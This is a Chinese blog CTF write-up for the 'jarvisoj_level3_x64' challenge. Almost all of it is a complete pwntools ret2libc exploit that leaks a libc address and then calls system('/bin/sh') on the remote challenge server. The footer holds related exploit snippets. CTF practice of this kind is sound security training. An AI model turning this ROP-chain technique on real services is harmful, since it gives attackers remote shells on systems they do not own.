首页 > 其他分享 >pwn | jarvisoj_level3_x64

pwn | jarvisoj_level3_x64

时间:2023-04-24 22:48:18浏览次数:44  
标签:p64 libc x64 ret jarvisoj level3 read pwn

pwn | jarvisoj_level3_x64

x64 ret2libc

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p_vuln = 0x00000000004005E6
p_main = 0x000000000040061A
p_str = 0x00000000004006DC
# p = process('./level3_x64')
p = remote('node4.buuoj.cn', 27746)
elf = ELF('./level3_x64')


p_pop_rdi_ret = 0x00000000004006b3
p_pop_rsi_r15_ret = 0x00000000004006b1
p_ret=  0x0000000000400499

p_plt_write = elf.plt['write']
p_got_read = elf.got['read']

p.recvuntil('Input:\n')
input()

p.sendline(b'M'*(0x80+8) + p64(p_pop_rdi_ret) +p64(1) + p64(p_pop_rsi_r15_ret)+ 
        p64(p_got_read) + p64(0) + p64(p_plt_write) + p64(p_main)
        )

p_libc_read = u64(p.recv(8))
print(f'> p_libc_read: {hex(p_libc_read)}')

libc = LibcSearcher('read', p_libc_read)
libc_base = p_libc_read - libc.dump('read')
print(f'> libc_base: {hex(libc_base)}')
p_system = libc_base + libc.dump('system')
p_binsh = libc_base + libc.dump('str_bin_sh')

p.recvuntil('Input:\n')
# p.sendline(b'M'*(0x80+8) + p64(p_main))
p.sendline(b'M'*(0x80+8) + p64(p_ret) +  p64(p_pop_rdi_ret) + p64(p_binsh) + p64(p_system))

p.interactive()


标签:p64,libc,x64,ret,jarvisoj,level3,read,pwn
From: https://www.cnblogs.com/Mz1-rc/p/17351210.html

相关文章

  • pwn | wustctf2020_getshell
    pwn|wustctf2020_getshellx86ret2textexp:frompwnimport*fromLibcSearcherimport*context.log_level='debug'p=remote('node4.buuoj.cn',28063)p.sendline(b'M'*(0x18+4)+p32(0x0804851B))p.interactive()......
  • Pwn系列之Protostar靶场 Stack6题解
    源码如下:#include<stdlib.h>#include<unistd.h>#include<stdio.h>#include<string.h>voidgetpath(){charbuffer[64];unsignedintret;printf("inputpathplease:");fflush(stdout);gets(buffer);ret=__b......
  • GDOU-CTF-2023新生赛Pwn题解与反思
    第一次参加CTF新生赛总结与反思因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。16点30分结束,就跑回来宿舍开始写。第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。大概17点10的时候,写第三题,可能自己第一次遇到随机数问......
  • ctfshow 第三届愚人杯 pwn wp
    想起自己貌似没有发过比赛的wp,也完完整整地参加了好几个比赛,之后会陆续发ctfshow愚人杯做完pwn方向的题目就溜了,拿了三个一血、两个二血。感觉自己棒棒哒。easy_checkin把show功能函数放在堆块上且自带后门的题目,存放UAF漏洞,修改下show功能函数为后门函数再利用U......
  • pwn里面的一些小知识
    进程虚拟地址空间​ 操作系统管理所有硬件,程序在运行时也是由操作系统通过虚拟地址空间的映射去管理。这样就避免了直接使用物理地址,避免他人能够直接通过物理地址对主机进行恶意程序调用。如果想调用物理硬件就需要用到编程接口(系统调用)。​ 在操作系统中,对每一个进程应用都是......
  • 复习pwn
    分析漏洞文件:1)通过checksec分析漏洞文件的安全属性:Arch:amd64-64-little,程序架构信息,可以看出这是一个64位的程序。RELRO:PartialRELRO,重定位表只读,无法写入。这里的显示是部分只读代表GOT(GlobalOffsetTable)中的非plt部分是只读的,got.plt是可写的;FullRELRO则是整个GOT都是只......
  • Pwn刷题记录
    01[WUSTCTF2020]getshell2考点:栈溢出,ret2shellcode首先查看保护机制为32位小端程序,开启了栈不可执行。用IDA32查看伪代码追踪到vulnerable函数可以通过read实现溢出exp:frompwnimport*#p=process('./pwn')p=remote("1.14.71.254",'xxxxx')sh=0x08048670#0......
  • buuctf.pwn.[OGeek2019]babyrop
    可以看出,没有开什么特别的保护什么是plt,gpt,自己回顾一下hex(elf.plt['puts']).plt.got:08048548FF25D49F0408jmpds:puts_ptrhex(elf.got['puts']).got:08049FD46CA00408puts_ptrddoffset__imp_puts;DATAXREF:pu......
  • [BUUCTF]PWN-[OGeek2019]babyrop
      点进sub_80486BB   注意alarm()   注意buf是v1,输出数是a1,if嵌套strncmp frompwnimport*context(arch='i386',os='linux',log_level='debug')io=remote('node4.buuoj.cn',25522)#io=process('./babyrop'......
  • [BUUCTF]PWN-bjdctf_2020_babyrop
    注意本题需要用到ROPgadget安装命令:sudoapt-getinstallpython-capstonegitclonehttps://github.com/JonathanSalwan/ROPgadget.gitcdROPgadgetsudopythonsetup.pyinstall以下是相关使用命令:命令: ROPgadget--binary文件名--only"pop|ret"|greprdi命令: R......